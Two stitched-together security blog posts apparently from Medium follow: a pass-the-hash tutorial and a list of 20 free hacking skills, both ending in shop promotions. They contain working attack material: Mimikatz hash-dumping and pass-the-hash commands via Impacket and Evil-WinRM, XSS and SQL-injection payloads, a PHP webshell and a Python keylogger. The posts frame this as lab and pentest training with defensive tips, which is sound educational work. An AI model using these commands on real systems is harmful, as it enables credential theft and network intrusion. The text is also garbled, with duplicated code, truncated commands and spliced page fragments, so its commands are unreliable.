September 20, 2026
12 Pass-the-Hash Concepts Every Security Professional Should Know to Master Windows Attacks
Ever wondered why attackers keep breaching “secured” Windows networks year after year? Here’s a shocker: nearly 80% of ransomware hits…

By Very Lazy Tech 👾
13 min read
Ever wondered why attackers keep breaching "secured" Windows networks year after year? Here's a shocker: nearly 80% of ransomware hits involve lateral movement — and Pass-the-Hash techniques are the silent culprit. If you think cracking passwords is hard, wait till you see how attackers skip the whole process and just "borrow" your credentials as-is.
Let's dive right in. Whether you're a pentester, blue teamer, or just obsessed with privilege escalation, understanding Pass-the-Hash (PtH) is non-negotiable. We're going to break down 12 absolutely essential PtH concepts — complete with examples, real-life tools, and tips that'll actually stick.
What is Pass-the-Hash? (And Why Should You Care?)
Okay, so let's get the basics out of the way. Pass-the-Hash is not some new, flashy exploit. It's been around since the 90s, but it's still devastating today. Instead of guessing or cracking passwords, attackers steal hashed credentials and use them directly to authenticate on other systems. No need for the actual password. The hash is the key.
Think about it: If someone gets their hands on your NTLM hash, they can impersonate you across the network in seconds. Suddenly, "strong passwords" aren't the fix-all you thought they were.
The Anatomy of Windows Hashes
First up, you need to know what attackers are stealing.
- NTLM Hash: 16-byte value representing an unsalted hash of the user's password (MD4-based).
- LM Hash: Ancient and weak—rarely used in modern systems, but sometimes still lurking in old domains.
Here's what a user entry in C:\Windows\System32\config\SAM might look like:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::LM hash is on the left, NTLM hash on the right. If the LM hash is all "aad3b435…", it's disabled (good).
Real-world note: I've seen shops with a decade-old domain still exposing LM hashes. Ouch.
2. How Attackers Extract Hashes
So, how do pentesters or attackers grab these hashes?
Local Extraction
- Mimikatz: The go-to tool for harvesting hashes from LSASS memory.
- SamDump2 & PwDump: For offline extraction from the SAM file.
Quick example with Mimikatz (needs admin on the box):
privilege::debug
sekurlsa::logonpasswordsprivilege::debug
sekurlsa::logonpasswordsThis dumps all the hashes for logged-in users.
Remote Extraction
- LSA Secrets and DCSync: Attackers abuse domain controller permissions to replicate the ntds.dit database remotely.
If you're on a network and get to Domain Admin, it's game over.
3. Why NTLM Still Matters
You might think, "Wait, isn't NTLM dead?" Not quite. Kerberos is the modern standard, but NTLM authentication is still everywhere: legacy apps, SMB shares, and even remote desktop in fallback cases.
Key point: As long as any NTLM authentication is enabled, Pass-the-Hash remains a risk.
4. The Pass-the-Hash Attack Step-by-Step
Let's walk through a typical scenario.
- Initial Access: Attacker pops a low-priv Windows box.
- Hash Dump: Using Mimikatz, they extract NTLM hashes.
- Lateral Movement: They use the hash to authenticate to other machines with the same credentials (e.g., another admin account).
- Privilege Escalation: Maybe they land on the DC, rinse and repeat for total domain compromise.
Using Pass-the-Hash with Impacket
Impacket's wmiexec.py is a classic. Here's how you'd use it:
wmiexec.py -hashes <LMHASH>:<NTLMHASH> DOMAIN/Administrator@192.168.1.50wmiexec.py -hashes <LMHASH>:<NTLMHASH> DOMAIN/Administrator@192.168.1.50No password needed. If the hash is valid for that host, you're in.
5. Local vs. Domain Hashes: Know the Difference
Attackers love local admin accounts. Why? Because most orgs use the same local admin password across many machines. So the hash works everywhere.
- Local hash: Only valid for the same username on other machines.
- Domain hash: Can be used on any domain-joined machine the account can log on to.
Pro tip: Rotate your local admin passwords. Or use Microsoft's LAPS.
6. Common Tools for Pass-the-Hash
You can't talk about PtH without mentioning the heavy hitters:
- Mimikatz: Hash dumping and even injecting hashes into memory.
- Impacket: Swiss Army knife for lateral movement (wmiexec.py, smbexec.py, etc).
- Metasploit: Has modules for PtH attacks.
- Evil-WinRM: For WinRM shell with pass-the-hash support.
Quick code for using Evil-WinRM:
evil-winrm -i 10.10.10.10 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0evil-winrm -i 10.10.10.10 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0No password needed — just the hash.
7. What Actually Happens During Authentication
Here's where it gets interesting. When you "pass" the hash, you're skipping password verification. Instead, you present the hash directly in the NTLM authentication challenge-response exchange.
In practice: The remote server has no way of knowing if you typed the password or just supplied the hash. It sees a valid challenge response. That's it.
Challenge-Response Basics
- Server sends a challenge nonce.
- Client encrypts it with the NTLM hash (the "password").
- Server compares this with its own calculation.
If the two match? Access granted.
8. Minimizing Detection: Living Off the Land
Attackers often avoid dropping files. They use built-in Windows tools or PowerShell.
Example: Using Invoke-WMI in PowerShell for lateral move with a hash.
Invoke-WmiMethod -Class Win32_Process -ComputerName TARGET -Credential $cred -ArgumentList "cmd.exe /c whoami"Invoke-WmiMethod -Class Win32_Process -ComputerName TARGET -Credential $cred -ArgumentList "cmd.exe /c whoami"With the right credentials or hash, this blends into normal admin activity. SIEMs often miss it.
9. Pass-the-Hash in Modern Pentesting
PtH isn't just for red teamers. Even bug bounty researchers on internal programs hit it. Why? Once you get a foothold via RCE, SQLi, or XSS, you grab a hash and pivot.
In real assessments, I've seen organizations with "patched" boxes but old NTLM hashes sitting in memory for days.
Key takeaway: Patch all you want — if creds are reused or hashes linger, you're wide open.
10. Defenses Against Pass-the-Hash
Here's what works (and what doesn't):
- Unique passwords for all local admins: No more "Spring2024!" everywhere.
- LAPS (Local Administrator Password Solution): Automates local admin password management.
- LSASS protection: Enable Credential Guard. Makes hash dumping much harder.
- Network segmentation: Don't let everyone talk to everything.
- Limit admin logons: Don't use domain admins for routine tasks.
What doesn't work? Just enforcing complex passwords. Hashes are still the target.
11. Advanced Attack Tactics: Pass-the-Ticket & Overpass-the-Hash
Once you've got PtH down, you'll start seeing other tricks.
- Pass-the-Ticket (PtT): Steal Kerberos tickets for SSO attacks.
- Overpass-the-Hash (Pass-the-Key): Use the NTLM hash to request Kerberos tickets (TGTs).
Example with Mimikatz:
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0This injects the hash into memory for Kerberos-based attacks.
12. Hunting and Detection: Blue Team Tactics
Let's flip the script. How do defenders spot Pass-the-Hash?
What to Watch For
- Unusual logons: Admin accounts logging in from odd places/times.
- Logon types 3, 10: Network and remote interactive logons—classic for lateral movement.
- Process creation events: Look for
cmd.exe,psexec, or PowerShell spawning with unusual parents.
Detection Example with Windows Event Logs
Filtering for logon type 3:
- Event ID 4624: Look for logon type 3 and mismatched source IPs.
You can automate this with a simple script:
Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4624 -and $_.Properties[8].Value -eq "3" }Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4624 -and $_.Properties[8].Value -eq "3" }Bonus: SIEM Query Tip
Hunt for tools like Mimikatz or Impacket by process name, parent process, and command-line arguments. Don't rely on AV signatures alone — they change.
Wrapping Up: Why Pass-the-Hash Still Rules the Underground
Despite all the new exploits — zero-days, RCE chains, you name it — Pass-the-Hash never really dies. It's fast, quiet, and devastating when paired with privilege escalation.
If you're serious about Windows pentesting or defending your network, get obsessed with hashes. Rotate them, guard them, hunt for their abuse.
And always remember: attackers aren't guessing your password — they're just passing the hash right under your nose.
Thanks for reading! If you learned something new, share this with your fellow IT pros or tag a blue teamer who needs to up their detection game. For more step-by-step guides, follow VeryLazyTech on Medium — where cybersecurity gets real and practical.
🚀 Become a VeryLazyTech Member — Get Instant Access
What you get today:
✅ 70GB Google Drive packed with cybersecurity content
✅ 3 full courses to level up fast
👉 Join the Membership → https://shop.verylazytech.com
📚 Need Specific Resources?
✅ Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.
20 Cybersecurity Skills You Can Learn Without Spending Money: Practical Steps for Aspiring Hackers
Ever heard that "cybersecurity is only for those who can afford fancy courses or certifications"? Here's a secret: some of the sharpest ethical hackers started with zero budget, just a laptop, their curiosity, and a stubborn streak. If you thought you had to break the bank to break into cybersecurity — think again.
With nothing more than free resources, hands-on curiosity, and clever learning habits, you can build a strong cybersecurity foundation. Below, I'll show you 20 actionable skills you can start learning today, without reaching for your wallet. Whether you're prepping for a career, a bug bounty quest, or just want to be the sharpest defender on your network, these skills are your fast track.
👉 Visit the Shop → https://shop.verylazytech.com
�1. Linux Command Line Mastery
� Stay in the Loop
hacking
Penetra
Ask any penetration tester — if you don't know your way around the Linux terminal, you're leaving money (and vulnerabilities) on the table. Most cyber tools live in the command line, and Linux is the hacker's playground.
Why This Matters
tion Testing
Cybersecurity
Ethical
- Most pentesting distros (Kali, Parrot) are Linux-based.
- Many exploits, privilege escalation tricks, and network tools require command line magic.
- Server-side exploits? Nearly always Linux.
How To Learn For Free
- Hacking
Bug Bounty
- Download and install Ubuntu (or run it in a VirtualBox VM).
- Open the Terminal and try commands:
pwd
ls -la
cd /etc
cat passwd
grep 'nologin' /etc/passw pwd
ls -la
cd /etc
cat passwd
grep 'nologin' /etc/passwWant quick tips, free tools, and sneak peeks?
✖ https://x.com/verylazytech Practice file manipulation:``` touch test.txt
echo "hacker" > test.txt
cat test.txt
rm test.tx/
| 👾 https://github.com/verylazytech/
| 📺 https://youtube.com/@verylazytech/
| 📩 https: Use free resources:
— OverTheWire Bandit (https://overthewire.org/wargames/bandit/)
You'll be shocked how fast "ls", "grep", "chmod", and "tar" become second nature.
2. Networking Fundamentals
| 🕵️♂️ https://www.verylazytech.com/
Ever tried to scan a network or pivot in a CTF, only to realize…you don't actually know how subnetting works? Networking is the bedrock of everything from simple vulnerability scans to advanced lateral movement.
Key Things To Learn
- What's an IP address? What's a subnet mask?
- How does ARP mapping work? Why does DNS matter?
- TCP vs UDP—what's the real difference?
Fun, Free Ways To Practice
- Download Wireshark and sniff your own traffic.
- Use
ping,traceroute, andnetstat:
ping google.com
traceroute google.com
netstat -tuln ping google.com
traceroute google.com
netstat -tulnWatch free YouTube channels: NetworkChuck, Professor Messer.
Play with Packet Tracer (Cisco's free tool).
The cool part? Once you understand packets and protocols, stuff like Man-in-the-Middle attacks or firewall evasion just clicks.
3. Using Nmap Like a Pro
Nmap isn't just a port scanner; it's the Swiss army knife of recon. Ethical hackers rely on it for initial foot-in-the-door access all the time.
Practical Example
Let's say you want to see what's running on a machine in your network:
nmap -sV -A 192.168.1.10nmap -sV -A 192.168.1.10-sVgrabs service versions.-Aenables aggressive scanning (OS detect, scripts, traceroute).
Level Up
- Scan subnet ranges:
nmap -sn 192.168.1.0/24 - Use Nmap Scripting Engine:
nmap --script vuln 192.168.1.10 - Free learning: Nmap's docs, hacking playgrounds like TryHackMe (free rooms).
You'll spot open RDP ports, old Apache servers, maybe even that forgotten IoT device with default creds.
4. Cracking Password Hashes
No, you don't need expensive tools — Hashcat and John the Ripper are both free and brutally effective.
Step-by-Step Guide
- Get a sample hash (for SHA1, for example):
echo -n 'password123' | sha1su echo -n 'password123' | sha1suSave hash to a file: echo 'cbfdac6008f9cab4083784cbd1874f76618d2a97' > hash.tx Crack with John: john — wordlist=/usr/share/wordlists/rockyou.txt hash.tx Watch as the password appears.
Free Resources
- CrackStation (for hash ID and basic cracking)
- SecLists (huge wordlist repo on GitHub)
Pro tip: Most CTFs use simple hashes — practice and you'll start spotting weak creds everywhere.
5. Web Vulnerability Scanning
Web pentesting is where bug bounty hunters earn their stripes. Learning to spot XSS, SQLi, LFI, and IDOR doesn't require Burp Suite Pro (free Community Edition works great).
Example: Finding XSS
- Open a test site (like PortSwigger's Web Security Academy, free).
- Enter common payloads in input fields:
<script>alert(1)</script <script>alert(1)</scriptWatch for pop-ups. If it fires, jackpot—stored or reflected XSS.
Scan with OWASP ZAP
- Download ZAP (free).
- Point it at your local test site.
- Run "Automated Scan" — see low-hanging fruit like open directories, weak cookies.
Now you know how real XSS bugs show up in the wild.
6. OSINT: Open-Source Intelligence Gathering
Every great hacker is part detective. OSINT is about collecting public data others overlook — email leaks, social profiles, domain info, and more.
Tools & Workflow
- Use Google dorks:
site:target.com filetype:pd site:target.com filetype:pdTry theHarvester (Linux tool): theharvester -d target.com -b googl Hunt for subdomains with: sublist3r -d target.co Explore GitHub for exposed secrets:``` "api_key" "password" extension:en
Digging through data, you'll find forgotten S3 buckets, staff emails, maybe even leaked credentials. It's amazing how much is just…out there.
7. Writing Basic Bash Scripts
Automation is every hacker's best friend. Bash scripting lets you automate recon, brute-forcing, or file parsing in seconds.
Quick Example
Let's say you want to ping every host on a /24 subnet:
for ip in $(seq 1 254); do
ping -c 1 192.168.1.$ip | grep "64 bytes" &
done
waitfor ip in $(seq 1 254); do
ping -c 1 192.168.1.$ip | grep "64 bytes" &
done
wait- Loop through 1–254, ping each, grep for live hosts.
Want to mass-rename files, harvest emails, or parse logs? One-liners like this save hours.
8. Exploiting SQL Injection (SQLi) in Labs
SQLi is the classic web vulnerability. You don't need a paid playground — many free CTFs and intentionally vulnerable apps exist.
Practice For Free
- Install DVWA (Damn Vulnerable Web App) locally.
- Navigate to the login page; enter:
' OR '1'='1 - ' OR '1'='1 -If you log in, congrats—you've popped a SQLi!
Bonus: Automate with sqlmap
sqlmap -u "http://localhost/dvwa/vulnerable.php?id=1" --dbssqlmap -u "http://localhost/dvwa/vulnerable.php?id=1" --dbsFor bug bounty, it's essential to spot SQLi in the wild. Practice with CTF platforms like HackTheBox (free tier).
9. Understanding and Exploiting XSS
Everyone talks about XSS, but seeing it in action? That's where it sticks.
Quick Guide
- Go to a comment box on a test site.
- Paste:
<img src=x onerror=alert('pwned') <img src=x onerror=alert('pwned')Submit and see if an alert pops.
Resources
- XSS Game by Google (https://xss-game.appspot.com/)
- PortSwigger's Web Academy — hands-on XSS labs
XSS isn't just about pop-ups — start thinking about session hijacking, credential theft, and you'll see why real-world attackers love it.
10. Setting Up and Using Virtual Machines
Every safe hacker uses VMs for isolation. With VirtualBox or VMware Player (both free), you can create test networks, malware sandboxes, and practice labs.
How-To
- Download VirtualBox.
- Grab ISOs for Kali Linux, Ubuntu, Windows 10 (Microsoft provides free Windows VMs for testing).
- Spin up multiple VMs—network them together.
- Snapshot, revert, break stuff without risk to your host.
Suddenly, "try it and see what happens" is your default learning mode.
11. Mastering Burp Suite Community Edition
You don't need the paid version to intercept HTTP(S) traffic and analyze web application flaws.
Step-by-Step: Basic Proxy
- Download Burp Suite Community.
- Set your browser proxy to 127.0.0.1:8080.
- Browse to target site.
- In Burp, see every request/response—edit on the fly, replay attacks, test for SQLi, IDORs, or XSS.
Practical Use
- Use Intruder for brute-forcing logins.
- Use Repeater for manual testing.
Once you get comfortable, Burp becomes your web pentest sidekick.
12. Developing Python Scripts for Automation
Python is the language of automation in infosec, from scraping to exploit development.
Example: Simple Port Scanner
import socket
for port in range(1, 1025):
s = socket.socket()
result = s.connect_ex(('127.0.0.1', port))
if result == 0:
print(f"Port {port}: OPEN")
s.close()import socket
for port in range(1, 1025):
s = socket.socket()
result = s.connect_ex(('127.0.0.1', port))
if result == 0:
print(f"Port {port}: OPEN")
s.close()- Run it — see which ports are open on your system.
Learning Resources
- TryHackMe's "Python for Pentesters" room (free).
- Automate the Boring Stuff with Python (book, free web version).
The more you script, the less you do by hand.
13. Practicing Privilege Escalation
Getting onto a system is one thing; becoming root (or SYSTEM) is where the real fun starts.
Learn Windows & Linux Privesc For Free
- Use free CTFs: TryHackMe's "Privilege Escalation" rooms.
- Download and run "Windows Exploit Suggester" or "LinPEAS" on your VM:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh
./linpeas.s
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh
./linpeas.s
You'll find setuid binaries, weak permissions, unpatched exploits — escalation gold.
14. Exploiting File Upload Vulnerabilities
File upload bugs can lead to RCE (remote code execution) or even full server takeover. Labs like DVWA or bWAPP let you practice safely.
Try This
- In DVWA, go to the file upload function.
- Upload a PHP webshell:
<?php system($_GET['cmd']); ? <?php system($_GET['cmd']); ?Access your shell: http://localhost/uploads/shell.php?cmd=whoami
That's real-world pentesting, no budget required.
15. Mastering Social Engineering Tactics
You don't need Metasploit to learn social engineering — it's mostly about psychology, observation, and manipulation.
Free Ways to Learn
- Read classic books: "The Art of Deception" (Kevin Mitnick), "Social Engineering: The Science of Human Hacking" (Christopher Hadnagy).
- Study phishing emails in your spam folder—spot patterns, tricks, lures.
- Build fake login pages on your test VMs to practice phishing detection.
The human element is always the weakest link.
16. Building and Analyzing Malware (in a Lab)
Curious about what malware actually does? You can analyze real samples, or even write basic ones yourself, in a controlled environment.
Example: Basic Keylogger (for education only, on your VM)
from pynput import keyboard
def on_press(key):
with open("keylog.txt", "a") as f:
f.write(str(key) + "\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()from pynput import keyboard
def on_press(key):
with open("keylog.txt", "a") as f:
f.write(str(key) + "\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()- Analyze with VirusTotal (free).
- Use REMnux or FLARE VM for free static/dynamic analysis tools.
You'll start to recognize malware indicators everywhere.
17. Enumerating and Exploiting SMB/FTP/SSH
Network services like SMB, FTP, and SSH are everywhere — and often misconfigured.
Free Practice
- Scan your local VM network:
nmap -p 21,22,445 192.168.1.0/2 nmap -p 21,22,445 192.168.1.0/2Connect and enumerate:``` smbclient -L //192.168.1.5/
ftp 192.168.1.5
ssh user@192.168.1. Try default creds, anonymous logins, or weak passwords (hydra is free for brute-forcing).
Some of the easiest CTF flags hide in plain sight on these services.
18. Traffic Analysis and Packet Sniffing
Wireshark is your window into network secrets. Capturing and analyzing traffic is a must-have skill.
Step-by-Step
- Open Wireshark.
- Start capturing on your main network interface.
- Visit a website or log in somewhere (test account).
- Filter traffic:
htt httSee what's sent in plain text — usernames, passwords, session cookies.
Want to spot ARP spoofing, DNS tunneling, or exfiltration? Packet analysis is where it starts.
19. Practicing Bug Bounty Recon Techniques
Bug bounty isn't just about exploits — it's about finding weak spots before anyone else.
Essential Tools (All Free)
amassfor subdomain enumeration.assetfinderandsubfinderfor asset discovery.httprobeto check for live hosts:
cat domains.txt | httprob cat domains.txt | httprobGitHub dorks for exposed secrets.
Combine these for a recon workflow that'll uncover hidden endpoints, forgotten servers, and juicy attack surfaces.
20. Staying Current: Following Security News and Advisories
Security moves fast. The best hackers make keeping up a daily habit.
How I Stay Sharp
- Subscribe to blogs: KrebsOnSecurity, The Hacker News, Huntress, Bishop Fox.
- Follow CVE feeds and NVD.
- Browse r/netsec or Twitter infosec hashtags.
- Join Discord or Slack communities (many are free).
When you make news and advisories part of your routine, you'll spot trends, new zero-days, and emerging attack methods long before they hit mainstream.
By the way — I've seen beginners who commit to even half these free skills quickly outpace others who just buy another course or cert. The difference isn't the wallet, it's the willingness to get hands-on. So roll up your sleeves, fire up that VM, and dive into these skills. Your next breakthrough might be just one terminal command — or clever Google dork — away.
🚀 Become a VeryLazyTech Member — Get Instant Access
What you get today:
✅ 70GB Google Drive packed with cybersecurity content
✅ 3 full courses to level up fast
👉 Join the Membership → https://shop.verylazytech.com
📚 Need Specific Resources?
✅ Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.
👉 Visit the Shop → https://shop.verylazytech.com
💬 Stay in the Loop
Want quick tips, free tools, and sneak peeks?
| 👾 https://github.com/verylazytech/
| 📺 https://youtube.com/@verylazytech/
| 📩 https://t.me/+mSGyb008VL40MmVk/
| 🕵️♂️ https://www.verylazytech.com/